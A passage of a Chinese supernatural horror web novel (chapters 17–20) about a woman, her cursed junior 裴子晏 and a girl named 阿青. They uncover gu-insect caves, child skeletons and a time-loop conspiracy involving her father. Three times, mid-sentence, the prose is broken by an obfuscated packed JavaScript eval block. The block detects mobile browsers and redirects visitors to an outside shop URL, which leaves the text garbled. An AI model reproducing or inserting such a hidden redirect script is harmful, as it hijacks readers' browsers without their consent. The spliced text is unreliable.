话音未落,檀九重的视野突然扭曲。眼前的篝火变成了手术灯,树林变成了冰冷的地下室,而她的身体...变成了一个瘦小的男孩,被铁链锁在石台上! 幻觉如此真实,她能感受到金属台的冰凉,闻到空气中福尔马林的味道,甚至听到骨锯启动的嗡嗡声... “第三根肋骨...最接近心脏...”一个穿白大褂的身影俯下身,手中的骨锯闪着寒光,“这次一定能成功...” 剧痛袭来时,檀九重分不清是幻觉还是现实。她的胸口仿佛真的被剖开,肋骨被一根根分离。而更可怕的是,她竟能清楚记得每一根被取出的骨头被放在哪个托盘里,仿佛这段记忆本就属于她... “学姐!檀九重!” 遥远的声音将她拉回现实。裴子晏正死死抓着她的肩膀,指甲几乎掐进肉里。他的眼睛完全变成了黑色,没有眼白,像是两个无底的深渊。 “听着!”他的声音带着诡异的回音,像是两个人在同时说话,“你看到的是‘它’的记忆...不是你的...别被同化!” 檀九重大口喘息,冷汗浸透了后背。幻觉退去后,她发现自己的左手腕已经血肉模糊——那些红线不是幻觉,它们真的在啃噬她的血肉!而更恐怖的是,红线末端连接着...裴子晏右手腕的月牙印记! “双子咒的反噬...”裴子晏苦笑,“我的毒...在侵蚀你...” 阿青颤抖着递来一把草药:“敷、敷上这个...” 檀九重却推开草药,直接翻开父亲笔记中关于‘血肉咒’的章节。泛黄的纸页上画着与她手腕相同的红线图案,旁边批注:“血脉相连,痛感相通。需以施咒者之血引之...” “裴子晏,”她猛地抬头,“割开你的手腕。” 裴子晏愣了一下,随即会意。他毫不犹豫地用指甲划开右手腕,黑血顿时涌出,散发出浓郁的腐香。令人毛骨悚然的是,那些红线立刻像闻到血腥的鲨鱼般,调转方向朝他的伤口游去! “不!”阿青想阻拦,“师伯你会...” 裴子晏示意她退后,将流血的手腕悬在檀九重伤口上方。红线如饥似渴地扎入黑血中,贪婪地吮吸着。随着红线转移,檀九重手腕的伤口开始愈合,而裴子晏的情况却急剧恶化——他皮肤下的骨屑疯狂蠕动,整个人像被无形的手拉扯般扭曲起来。 “还不够...”檀九重快速浏览笔记,“需要阻断血脉感应...”她突然想起什么,撕下笔记最后一页——那是父亲用血写的一页,“血书可以干扰咒术!” 她将血书按在两人手腕之间。纸页接触红线的瞬间,一道金光闪过,所有红线齐齐断裂!裴子晏如遭雷击般向后倒去,而檀九重手腕上的伤口奇迹般停止了溃烂。 阿青手忙脚乱地帮两人包扎。檀九重注意到,裴子晏手腕的割伤正在以肉眼可见的速度愈合,皮肤下的骨屑重新排列,形成新的符文。而更诡异的是,那些被红线啃噬过的部位,新长出的皮肤上隐约可见细小的文字——像是某种古老的契约。 “这是...” “代价。”裴子晏虚弱地说,“每用一次‘不死身’...就会有一部分记忆被吞噬...”他艰难地坐起来,“学姐刚才看到的...是我的第一段记忆...” 檀九重心头一震。所以那个被取肋骨的孩子真的是他?而穿白大褂的人是... “谁对你做的这些?” 裴子晏的眼神突然变得涣散:“我...记不清了...”他捂住头,“只记得有人说...这是为了‘她’...” “她?”檀九重想起蛊婆临终的话,“你师兄当年也这么救她...这个‘她’是谁?” 裴子晏突然哼起一段奇怪的旋律。曲调哀婉悠长,像是某种民谣。檀九重如遭雷击——这是母亲生前最爱的《月光光》,广东客家民谣!母亲去世后,父亲再也不许在家里放这首歌... “你怎么会这个?”她一把抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449298|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴子晏的衣领。 裴子晏如梦初醒:“我...不知道...脑子里突然...” 阿青突然指着山下:“有人来了!” 月光下,三个黑袍人正沿着山路快速接近。他们动作整齐划一,像是被同一条线操控的木偶。最前面的黑袍人抬起头,兜帽下露出一张没有五官的脸——只有用朱砂画出的简单线条。 “无面人!”阿青尖叫,“是养蛊人的护卫!” 檀九重迅速收拾东西:“走!” 裴子晏却站着不动,眼神直勾勾地盯着那些黑袍人:“不...不是人...“他喃喃道,“是‘容器’...里面装着...” 黑袍人突然加速,速度快得不似人类。檀九重拉着裴子晏就跑,阿青紧随其后。三人钻进密林,借着地形暂时甩开追兵。 “去那里!”阿青指向山腰处一个隐蔽的洞口,“猎人的临时落脚点!” 山洞潮湿阴冷,但足够隐蔽。檀九重点燃应急灯,昏黄的光线下,裴子晏的脸色更加惨白。他蜷缩在角落,不停发抖,嘴里还在无意识地哼着《月光光》的调子。 “他情况不妙。”阿青担忧地说,“那些骨屑...好像在重组...” 确实,裴子晏皮肤下的骨屑正以前所未有的速度移动,在体表形成复杂的纹路。檀九重小心地触碰那些纹路,惊讶地发现它们与父亲笔记最后一页的血书图案完全一致! “这不是恶化...”她恍然大悟,“是自我保护!” 洞外传来枯枝断裂的声音。黑袍人追来了。檀九重迅速熄灭灯光,三人屏息躲在黑暗处。脚步声在洞口徘徊了一会儿,突然停住了。 一片死寂中,檀九重听到极轻的“沙沙”声,像是无数脚爪爬过岩石。她借着月光看向洞口,差点叫出声来——成千上万只黑虫正从缝隙中涌入,形成一片移动的地毯! “闭气!”她压低声音警告,“别动!” 虫群漫过地面,爬上石壁,有几只甚至爬到了檀九重的鞋面上。就在这千钧一发之际,裴子晏突然睁开眼睛——完全漆黑,没有眼白。 “滚。”他轻声道。 虫群瞬间静止,然后如潮水般退去,速度比来时更快。洞外的黑袍人发出一声不似人类的尖啸,接着是重物倒地的声音。随后,一片死寂。 “你...怎么做到的?”阿青惊恐地问。 裴子晏的眼睛恢复正常,一脸茫然:“我...不知道...” 檀九重却有了猜测:“那些蛊虫...它们不攻击你。”她想起蛊婆祠中的七具童尸,“因为它们认得你的气息...你就是它们原来的‘宿主’!” 裴子晏没有否认,只是苦笑:“学姐越来越聪明了...” 洞外突然传来乌鸦的叫声。两只乌鸦落在洞口,血红的眼睛直勾勾地盯着洞内。而在它们身后的树影中,穿红肚兜的无面孩童缓缓举起手,比出‘一’的手势... 18. 虫窟骨 乌鸦的叫声刺破黎明。檀九重从浅眠中惊醒,发现洞口处站着两只乌鸦,脚上系着褪色的红绳。其中一只叼着什么东西,见她醒来,便将那物件丢在地上,扑棱棱飞走了。 那是一块沾血的怀表碎片。 “它们在引路...”阿青揉着眼睛坐起来,“闽南传说,受过训练的乌鸦能带人找到救命药。” 檀九重拾起碎片,金属边缘还带着体温——这不是普通的血,是裴子晏那种黑色血液!她猛地转头,本该躺在角落的裴子晏不见了,只留下一滩半干的黑渍和几片脱落的皮肤组织,上面爬满细小的符文。 “师伯他...”阿青声音发抖,“自己去虫窟了?” 檀九重冲出山洞。晨雾中,两只乌鸦在不远处盘旋,见她跟上,便向前飞去。山路越来越陡,植被逐渐被一种灰白色的菌类取代,踩上去发出令人不适的脆响。 绕过一道峭壁,眼前出现个不起眼的洞口,周围散落着动物骸骨。乌鸦在洞口叫了两声,便消失在山雾中。檀九重刚要进去,阿青拉住她: “等等!这是‘虫墩’,蛊虫的老巢!”她掏出一把香灰撒在檀九重身上,“至少掩盖下活人气息...” 洞内比想象中宽敞,却令人毛骨悚然——四壁布满蜂窝状的孔洞,每个孔里都隐约可见蜷缩的黑影。地面湿滑黏腻,铺着层半透明的膜,踩上去“咯吱”作响。檀九重用手机照明,发现那竟是无数虫卵组成的‘地毯’! “别碰墙壁...”阿青声音压得极低,“会惊醒它们...” 隧道向下延伸,温度越来越低。拐过一道弯后,前方突然出现微弱的蓝光。檀九重示意阿青停下,自己悄悄靠近—— 那是个巨大的天然石室,中央立着个草扎的人偶,穿着褪色的童装,尺寸约是六七岁孩子的大小。人偶周围的地面刻着复杂的阵图,与檀九重手腕上的胎记纹路如出一辙。 而更令她窒息的是,石室四壁刻满了密密麻麻的文字,在幽蓝的萤光下清晰可辨。那是父亲的笔迹!内容全是关于‘长生咒’的研究笔记,有些段落被反复描画,几乎刻进石头半寸深。 “以骨为媒...以血为引...七日还魂...九转成仙...” 檀九重手指颤抖着抚过这些文字。父亲的字迹她绝不会认错,但内容却如此陌生——笔记中的狂热与偏执,与她记忆中那个严谨的学者判若两人。 “学姐...别看...” 微弱的声音从石室另一侧传来。檀九重循声望去,只见裴子晏跪在一处石台前,双臂死死抱着什么。他的衣服已经被腐蚀得千疮百孔,裸露的皮肤上爬满黑虫,有些部位甚至露出了森森白骨! “裴子晏!”檀九重顾不得隐蔽,冲了过去。 近看更加触目惊心——裴子晏的脸半边都被虫群覆盖,左眼成了血窟窿,但他怀里紧紧护着一株紫色的灵芝,丝毫未被污染。听到脚步声,他艰难地抬起头,右眼勉强聚焦: “...学姐怎么...不听话...” 檀九重二话不说脱下外套去扑打他身上的虫子,却被阿青拦住:“别动!那是‘蛊卫’,受惊会释放致命毒素!”她指向石台,“看那里!” 石台上刻着与父亲笔记相同的符文,中央凹陷处放着一把小巧的骨刀——与蛊婆祠中用来取天灵盖的一模一样! “他...自愿当祭品...”阿青声音发抖,“蛊虫只吃自愿者的血肉...” 檀九重如遭雷击。所以裴子晏是故意让虫群啃噬自己,换取那株灵芝?她看向石室中央的草人,突然认出那身衣服——与青铜匣里照片上幼年裴子晏穿的一模一样! “这是解药...”裴子晏艰难地举起紫灵芝,“学姐...拿去...” 他的手臂已经露出白骨,却还坚持着将灵芝递过来。檀九重接过灵芝的瞬间,裴子晏如释重负般倒了下去,更多的虫群趁机涌上他的身体。 “不!”檀九重不顾阿青阻拦,直接用手去拨那些虫子。令人惊讶的是,虫子碰到她的皮肤后竟纷纷退避,仿佛遇到天敌。 “你的血...”阿青恍然大悟,“师伯的血在你体内...它们把你当成同类了!” 檀九重趁机将裴子晏拖离虫群。他的伤势比看上去更严重——胸口以下几乎没有完好的皮肤,有些地方的咬痕深可见骨。最触目惊心的是左肋处,那里缺了三根肋骨,伤口边缘整齐,明显是旧伤。 “坚持住...”檀九重手忙脚乱地为他清理伤口,当手指无意中碰到肋骨缺口时,突然一阵眩晕—— 幻觉中,她看到父亲穿着白大褂,正小心翼翼地将某种发光物体缝入一个孩童的胸腔。孩子被绑在手术台上,面容模糊,但手腕上的月牙胎记清晰可见... “学姐...”裴子晏的呼唤将她拉回现实。他的右眼勉强睁着,嘴角挂着惯常的笑容,尽管半边脸已经血肉模糊,“...我没事...虫子只吃血肉...不动骨头...” 这算什么安慰!檀九重咬紧牙关,从灵芝上刮下粉末敷在他的伤口上。令人惊奇的是,粉末接触伤口的瞬间,那些被啃噬的肌肉组织就开始以肉眼可见的速度再生! “紫河车灵芝...”阿青敬畏地说,“传说只长在万人坑里...能肉白骨活死人...” 随着伤势好转,裴子晏皮肤下的骨屑重新活跃起来,在新生皮肤上排列成新的符文。檀九重注意到,这些符文与石壁上的‘长生咒’有七分相似,但更加复杂精妙。 “为什么...救我?”她低声问,手指轻轻拂过他残缺的左脸。 裴子晏的右眼弯成月牙:“因为...学姐说过...要和我‘生死与共’啊...”他试图笑,却咳出一团黑气,“...不能...食言...” 檀九重喉头发紧。她想起第一卷终章时自己确实说过这句话,但当时更多是讽刺。没想到裴子晏记到现在,还为此拼命... “别说话了。”她继续为他敷药,“保存体力。” 裴子晏却抓住她的手腕,将她的手掌按在自己裸露的胸口:“学姐...摸到了吗?...” 檀九重起初不明所以,随后震惊地发现——裴子晏胸腔深处,传来一下微弱的跳动! “...为你...跳过一次...”他声音越来越弱,“...值得...” 这句话像一把钝刀刺入檀九重心脏。她突然明白为什么裴子晏总说自己的心跳‘每分钟七下’——那根本不是正常心跳,而是某种秘术维持的假象。而此刻这唯一一次真实的心跳,竟是为了她... 阿青的惊呼打断了她的思绪:“墙上...有变化!” 石壁上的文字正在褪色,取而代之的是一幅幅壁画。第一幅画着个穿白大褂的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449299|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将婴儿交给一个道士;第二幅是同一个婴儿长大些,被绑在石台上施术;第三幅... 檀九重呼吸停滞——第三幅赫然是那个孩子被取肋骨的场景!而站在手术台旁的,正是年轻时的父亲! “这是...你的过去?”她颤抖着问裴子晏。 裴子晏却已经陷入昏迷,无法回答。阿青检查壁画后有了更可怕的发现:“看最后一幅!” 壁画尽头,那个孩子站在血泊中,脚下躺着七具小尸体。而他的胸口...镶嵌着一颗发光的珠子! “七杀替命术...”阿青脸色煞白,“用七个童男童女的命...换一个人长生...” 檀九重想起蛊婆祠的七具童尸,想起他们心口钉着的裴子晏生辰八字...所以那些孩子是为裴子晏而死的?但父亲怎么会参与这种事? “不对...”她突然想起什么,仔细检查裴子晏的肋骨缺口,“如果是替换的骨头,断面不该这么整齐...”她轻轻按压缺口周围的皮肤,“...除非取出的骨头后来又长了回来...” 阿青瞪大眼睛:“你是说...师伯的骨头能再生?” 檀九重点头,指向石室中央的草人:“那身衣服...照片上的裴子晏穿过的。有人一直在监视他的成长...”她突然想到一个可怕的可能性,“也许...不止一个‘裴子晏’...” 洞外突然传来乌鸦急促的叫声。阿青跑出去查看,很快慌张地跑回来:“黑袍人追来了!三个!” 檀九重迅速背起昏迷的裴子晏:“从另一边走!” 阿青领路,三人钻进一条狭窄的侧洞。隧道蜿蜒向上,最后通到一处悬崖边。下方是湍急的河流,后方追兵的脚步声越来越近。 “跳下去!”阿青指着河流,“下游有村庄!” 檀九重抱紧裴子晏,纵身跃入水中。冰冷的河水瞬间淹没头顶,她拼命蹬水浮起,却发现裴子晏的身体异常沉重——他在吸水,像海绵一样膨胀起来! “学姐...放手...”裴子晏不知何时醒了,声音被水扭曲,“我会...拖累你...” 檀九重反而抱得更紧:“闭嘴...保存体力...” 急流将两人冲向下游。在失去意识前的最后一刻,檀九重看到岸上站着个穿红肚兜的无面孩童,正缓缓举起手——这次不是比数字,而是做了个‘过来’的手势... 当她再次睁眼,已经躺在某个村落的草屋里。窗外夕阳西下,将一切染成血色。床边坐着个老婆婆,正在研磨紫灵芝。 “你醒了。”老婆婆头也不抬,“那孩子在外头...死活不肯进来...” 檀九重挣扎着起身,推开吱呀作响的木门。院子里,裴子晏背对着她坐在井边,身上缠满绷带。夕阳将他的影子拉得很长很长...而更诡异的是,那影子分裂成了两道——一道是他的,另一道则是个穿戏服的女子的剪影... 听到脚步声,裴子晏缓缓转身。他脸上的伤已经结痂,但左眼依然是个血窟窿。看到檀九重,他咧嘴一笑,酒窝在伤痕累累的脸上格外明显: “学姐...我们好像...又死里逃生了一次...” 而在远处的山巅,最后一只乌鸦静静伫立,脚上的红绳已经变成了黑色。它血红的眼睛注视着村庄,突然发出一声凄厉的鸣叫,振翅飞向血色的夕阳... 19. 照片鬼 闽南山村的夜晚潮湿闷热。檀九重坐在吱呀作响的竹床上,反复端详着从虫窟带回的怀表碎片。月光透过窗棂,在乳牙表面投下蛛网般的阴影。 门外传来轻微的脚步声,是裴子晏。自从获救后,他总在夜里消失几小时,天亮前才带着一身露水回来。檀九重轻手轻脚走到窗边,透过缝隙往外看—— 裴子晏站在院里的古井边,手里拿着什么东西。月光下,他左眼的伤已经愈合,但新长出的眼球呈现出不正常的灰白色,转动时发出极细微的“咔咔”声,像是某种机械装置。 “...快没时间了...”他对着手中的物件低语,声音沙哑得不似平日,“她已经开始怀疑...是的...胎记反应很明显...” 檀九重屏住呼吸。裴子晏在跟谁说话? 井水突然无风起浪,映出的不是裴子晏的倒影,而是一个穿藏青长衫的民国青年!倒影的嘴唇开合,与裴子晏的独白完美同步:“...必须在她发现青铜簋之前...完成转换...” 青铜簋?檀九重心头一震。她工作室地下室确实有个青铜簋,是父亲失踪前收藏的,从未对外展示过。 裴子晏突然转头看向窗户。檀九重迅速退回阴影处,心跳如雷。等她再次窥视时,井边已空无一人,只有地上落着一张泛黄的照片。 天亮后,檀九重装作无事发生,却在晨光中仔细检查了那张照片。这是半张集体照,边缘参差不齐,像是被暴力撕开。照片中央是年轻时的父亲,怀里抱着个约莫三岁的男孩。男孩右手腕上的月牙胎记清晰可见——是裴子晏! 但最令人毛骨悚然的是照片背面的日期:1982年6月15日。那时檀九重还没出生,父亲应该刚大学毕业不久。 “阿青,”她叫来正在煎药的少女,“你能修复照片吗?” 阿青接过照片,对着阳光看了看:“可以试试。爷爷教过我一些老照片修复技巧...”她突然瞪大眼睛,“等等,这个背景!” 照片一角,模糊可见一个青铜器物的轮廓。檀九重从手机调出工作室那个青铜簋的照片——纹路、大小、甚至表面那处独特的凹痕,完全一致! “这不可能...”她喃喃自语,“那个簋从来没离开过地下室...” 阿青已经架起简易工作台,开始用特制溶剂处理照片。随着化学反应的进行,更多细节浮现出来:父亲身后站着个模糊的人影,头部被人刻意剪掉了,只剩半个身子;男孩手里攥着个东西,形状像是... “乳牙!”阿青惊呼,“和你怀表里的一模一样!” 檀九重如坠冰窟。如果照片是真的,那么裴子晏的年龄至少...四十岁以上?可他看起来分明只有二十出头! “还有更奇怪的...”阿青将照片放在紫外线下,“被剪掉的人...衣服上有这个...” 紫外光下,残留的衣料显现出细密的符文——与傀儡师衣服上的纹路一模一样! “是杜十娘?”檀九重猜测。 阿青摇头:“衣服款式不对。看这立领...像是民国知识分子...”她突然想到什么,“等等,我爷爷有本相册...” 她翻箱倒柜找出一本发黄的相册,里面全是闽南民俗考察的老照片。翻到某一页时,她猛地停住:“就是他!” 照片上是年轻时的杜十娘与几位学者的合影。站在最边上的是个穿立领中山装的男子,面容和善,手里拿着个罗盘。最诡异的是,他的左袖口绣着个月牙标记——与檀九重的胎记一模一样! “这人是谁?” 阿青翻到照片背面:“1937年,玉成班与民俗考察组合影。左起:杜十娘、沈胭脂、陈教授、林先生...”她指着那个中山装男子,“...檀明远。” 檀九重如遭雷击。1937年?父亲那时还没出生!而且祖父名叫檀兴业,不叫檀明远... “不对...这说不通...” “学姐在查什么?”裴子晏的声音突然从身后传来。他不知何时回来了,手里提着几包草药,新长出的左眼在阳光下泛着诡异的灰光。 檀九重下意识盖住照片:“没什么,老家的旧照。” 裴子晏笑了笑,酒窝在疤痕未褪的脸上格外明显:“是吗?”他放下草药,手指轻轻拂过桌面,“...1982年的照片会发黄,但不会出现这种边缘氧化...除非...” 他突然咳嗽起来,一团黑气从口中溢出,在空中凝成孩童形状又消散。阿青吓得后退几步,但檀九重注意到,这次的黑气比之前淡了许多,像是...力量在衰退。 “除非什么?”她紧盯着裴子晏。 裴子晏却转移了话题:“学姐,我们该回去了。你的工作室...有线索。” 回程的火车上,檀九重假装睡着,暗中观察对面的裴子晏。他正对着车窗出神,玻璃映出的倒影时而现代装束,时而民国长衫,仿佛信号不良的老电视。更奇怪的是,当乘务员经过时,倒影突然变成了那个无面孩童,对着裴子晏咧嘴一笑。 裴子晏似乎习以为常,甚至对着倒影点了点头,嘴唇微动像是在交谈。檀九重眯起眼睛,辨认出他的口型:“...再等等...” 回到栖梧阁已是深夜。檀九重径直走向地下室,那个青铜簋静静摆在角落,与照片中的一模一样。她仔细检查簋身,在内壁发现一行极小的小字:“癸酉年七月初七,九重周岁礼。” 她浑身冰凉——癸酉年是1993年,她确实在那年办过周岁宴。但这与1982年照片中的青铜簋形成了无法解释的矛盾! “学姐找这个?”裴子晏的声音突然响起。他站在楼梯口,手里拿着那张修复过的照片,“背面还有字...你还没看到吧?” 檀九重夺过照片,翻到背面——确实有几行褪色的字迹,是父亲的笔迹: “子晏当为九重死,九重当为子晏生。双子咒成,轮回始动。癸酉年七月初七。” 她的手开始发抖。这段话写于她周岁那天,恰好是瓷枕上记载的日期,也是父亲开始研究阴婚案的时间... “解释。”她抬头逼视裴子晏,:你到底是谁?照片里的孩子是不是你?为什么我父亲在你和我之间设下这种...诅咒?” 裴子晏的左眼闪过一丝红光:“学姐确定想知道?”他的声音突然变得异常沧桑,“有些真相...会改变一切...”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449300|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“少废话!” 裴子晏叹了口气,解开右手腕的绷带——那个月牙胎记此刻泛着诡异的红光,与檀九重左手腕的胎记互相呼应。 “这不是胎记...是‘门’。”他轻声道,“连接两个时空的节点。你父亲...不,应该说是‘檀教授’...发现了操控时空的方法。” “什么意思?” “意思就是...”裴子晏苦笑,“你记忆中的父亲,和照片里的‘檀明远’,可能是不同时空的同一个体。而我...” 他突然剧烈咳嗽起来,这次吐出的不是黑气,而是一团暗红的血块。血块落地后竟像有生命般蠕动起来,形成一个小小的月牙形状。 檀九重后退半步:“你...不是人类?” “我是人类...只是不属于这个时间。”裴子晏擦去嘴角的血迹,“学姐听说过‘量子永生’理论吗?当一个人在不同时间线上存在多个自我,这些自我会互相吸引、互相影响...” 檀九重如遭雷击。所以她看到的民国倒影、照片中的时间悖论、裴子晏异常的身体...都是时空错乱的结果? “那‘双子咒’...” “是锚点。”裴子晏指向两人的胎记,“将两个时间线上的生命捆绑在一起,防止我们被时空乱流撕碎...”他忽然露出痛苦的表情,“但代价是...我们必须共享生命...一人活,则一人死...” 檀九重想起照片背面的话:“子晏当为九重死,九重当为子晏生”...原来字面意思! “所以瓷枕、阴婚、七具童尸...都是为了维持这个咒术?” 裴子晏点头又摇头:“不止...有人想利用时空重叠做更可怕的事...”他忽然捂住左眼,那里的灰白色正在扩散,“...他来了...” “谁?” 裴子晏没有回答,而是冲向青铜簋,从内壁抠下一个小巧的机关——里面藏着半张照片,是1982年那幅的另外一半! 这半张照片上是那个被剪掉的第三人:穿中山装的‘檀明远’,正将某种发光的物体递给幼年裴子晏。而照片背景里,赫然站着七个小棺材! 照片背面写着:“第一次转换成功,子晏存活。九重尚未出生,计划继续。1937-1982-1993,时间闭环初步形成。” 檀九重世界观彻底崩塌。父亲...不,那个自称檀明远的人...似乎在操纵一个跨越数十年的时间阴谋! 裴子晏突然倒地抽搐,皮肤下的骨屑疯狂蠕动,在体表形成新的符文。檀九重上前扶住他,却在触碰的瞬间看到新的幻觉—— 一个实验室里,十几个培养舱排列成环,每个舱里都漂浮着一个孩童,面容与裴子晏有七分相似。穿白大褂的‘檀明远’正在记录数据,嘴里念叨着:“第七批实验体...必须赶在九重出生前完成...” 幻觉消失后,裴子晏已经昏迷不醒。他的左眼完全变成了灰白色,胸口浮现出细小的文字:“第七日到,魂兮归来。” 窗外,最后一只乌鸦落在枝头,脚上的黑绳已经腐烂脱落。而在它身后的阴影里,穿红肚兜的无面孩童缓缓举起双手,比出一个完整的圆形... 20. 抽骨夜 闽南的雨来得急,檀九重站在回廊下,看着檐角滴落的雨水在青石板上凿出细小的坑洞。三天前从虫窟带回的怀表碎片就放在她贴身的口袋里,乳牙表面的纹路在黑暗中会发出微弱的磷光。 地下室传来细微的响动。 檀九重的手指无意识摩挲着墨斗线。自从发现那张诡异的合影后,裴子晏的行为越发反常——他不再假装阳光开朗的大学生,夜里消失的时间越来越长,回来时身上总带着一股混合了草药与腐朽的气息。 “学姐还没睡?” 裴子晏的声音突然在耳后响起。檀九重猛地转身,墨斗线已经缠上手腕。青年站在雨幕边缘,黑发湿漉漉地贴在额前,左眼灰白的瞳孔在夜色中泛着珍珠母般的光泽。他的卫衣下摆沾着暗红色污渍,像是干涸的血迹,又像是朱砂。 “去采药?”檀九重盯着他鼓胀的衣兜,“闽南的草药长在墓地里?” 裴子晏笑了笑,酒窝在苍白的脸上显得格外突兀:“学姐说笑了。”他向前一步,雨水顺着他的下颌滴落,“不过...我确实发现些有趣的东西。” 他从口袋里掏出一个布包,展开后露出半截指骨——骨头上刻满细密的符文,与青铜簋内壁的纹路如出一辙。 檀九重呼吸一滞。这是人类的指骨,看大小属于儿童,骨缝还未完全闭合。最诡异的是,骨头断面新鲜得像是刚被折断,却散发着陈年的腐臭。 “哪里找到的?” “祠堂后面的老槐树底下。”裴子晏的指尖抚过骨面上的刻痕,“这种符文...是民国时期湘西赶尸匠用的‘引路符’,但做了改动。”他突然咳嗽起来,一团黑雾从唇间溢出,在空中凝成模糊的孩童形状,“有人...把赶尸术和傀儡术结合了...” 檀九重突然出手,一把扯开他的衣领。裴子晏猝不及防,锁骨下方露出一片青灰色的皮肤——那里镶嵌着三枚铜钱,排列成倒三角形,钱孔中渗出暗黄色的脓液。 “尸斑。”她冷声道,“活人不会有的东西。” 裴子晏不慌不忙地整理衣领:“学姐这么热情,我会误会的。”他的指尖在铜钱上轻轻一叩,发出空洞的回响,“这是‘镇魂钱’,杜十娘留下的。没有它们,我早被那些东西撕碎了。” “哪些东西?” “你父亲...或者说,那些时空重叠产生的‘残影’。”裴子晏的左眼突然流下一行血泪,“学姐,有些真相就像这雨水,接住了只会弄湿自己。” 檀九重还要追问,远处突然传来阿青的尖叫。两人对视一眼,同时冲向声源。 --- 祠堂后的老槐树下,阿青跌坐在泥泞中,面前是一个刚被雨水冲开的小土坑。坑里整齐排列着七具孩童骸骨,每具骸骨都缺少右手指骨,头骨天灵盖上钻着细小的孔洞。 “七...七尸镇魂...”阿青颤抖着指向最末那具骸骨,“你们看衣服!” 檀九重俯身查看,胃部突然痉挛——骸骨身上套着件残破的蓝色背带裤,口袋上绣着‘子晏’二字。这分明是儿童款的衣物,尺寸绝不超过五岁孩童。 “不可能...”她猛地转向裴子晏,“这是...” “我的衣服。”裴子晏平静得可怕,“准确地说,是‘第七个我’的衣服。” 阿青突然从怀中掏出一本发黄的笔记:“爷爷的日记里提过这个!”她翻到某一页,“‘癸酉年七月初七,檀氏以七子尸为引,布轮回阵...’” 檀九重夺过笔记。泛黄的纸页上画着复杂的阵法图,中央正是那个青铜簋的图案,周围环绕七具小棺材。最令人毛骨悚然的是,图上标注的七个方位,与她工作室地下室的布局完全一致! “你早就知道。”她一把揪住裴子晏的衣领,“我工作室下面埋着七具尸体?” 裴子晏不躲不闪:“不是埋着...是‘养着’。”他指向那具穿背带裤的骸骨,“学姐不觉得奇怪吗?这些骨头没有腐烂,反而在...生长。” 檀九重仔细查看,果然发现骸骨的断骨处有新生的骨痂,像是被人为打断后又自行愈合。更诡异的是,骨缝中渗出淡黄色的黏液,散发着与裴子晏身上如出一辙的尸香。 阿青突然倒吸一口冷气:“你们看月亮!” 檀九重抬头,只见一轮血月悬在槐树梢头,月光透过枝叶在地上投下蛛网般的影子。那些影子如有生命般蠕动起来,渐渐组成一行字: “子时到,骨归位。” 裴子晏脸色骤变,一把拉起檀九重:“快走!回工作室!” 三人刚冲出祠堂范围,身后就传来土石崩裂的声音。檀九重回头瞥见骇人一幕——七具骸骨自行爬出土坑,空洞的眼窝齐刷刷‘望’向裴子晏的方向。 --- 栖梧阁地下室,青铜簋无风自鸣。 檀九重将特制朱砂混入茶中,茶水顿时泛起诡异的金光。这是她从父亲笔记中学来的‘辨魂茶’——活人饮下会痛不欲生,死人无感,而对非生非死之物... 楼梯传来脚步声。檀九重迅速将茶壶放回原位,假装在研究青铜簋上的铭文。 “学姐还没休息?”裴子晏端着药碗走进来,左眼的灰白已经扩散到半边脸颊,像是一张正在吞噬他的面具。 “睡不着。”檀九重示意茶几,“喝点茶?我刚泡的。” 裴子晏不疑有他,端起茶杯一饮而尽。檀九重紧盯着他的喉咙——没有吞咽动作,茶水直接流入了食道。 “好茶。”裴子晏微笑,酒窝牵动脸上僵硬的肌肉,“学姐手艺越来越好了。” 檀九重的心沉了下去。正常人此刻应该已经痛得蜷缩在地,而裴子晏连眉头都没皱一下。但当她假装失手打翻茶杯时,瞥见裴子晏袖口内侧沾着新鲜的血迹——他在强忍。 “你的手怎么了?”她突然抓住他的手腕。 裴子晏想要抽回,却因剧痛动作迟缓。檀九重趁机卷起他的袖子,倒吸一口冷气——小臂内侧布满纵横交错的伤口,最新的一道还在渗血,伤口中隐约可见森白的骨屑。 “学姐这么关心我?”裴子晏试图用玩笑掩饰,声音却因疼痛而颤抖,“还是说...终于被我的魅力打动了?” 檀九重不理会他的调笑,直接撕开他的卫衣。裴子晏猝不及防,露出缠满绷带的上身。最骇人的是右侧肋骨处——绷带下凸起不规则的形状,像是有什么东西正在皮下蠕动。 “让我看。”她命令道。 裴子晏按住她的手,灰白的左眼流露出一丝哀求:“别...” 檀九重已经扯开绷带。眼前的景象让她胃部翻涌——裴子晏右侧第四根肋骨缺失,断面参差不齐,像是被生生扯断。而更恐怖的是,伤口周围的血肉中嵌着细小的骨针,正以肉眼可见的速度生长出新的骨茬。 “你在...用自己的骨头做傀儡?”檀九重想起那些带着尸香的骨屑。 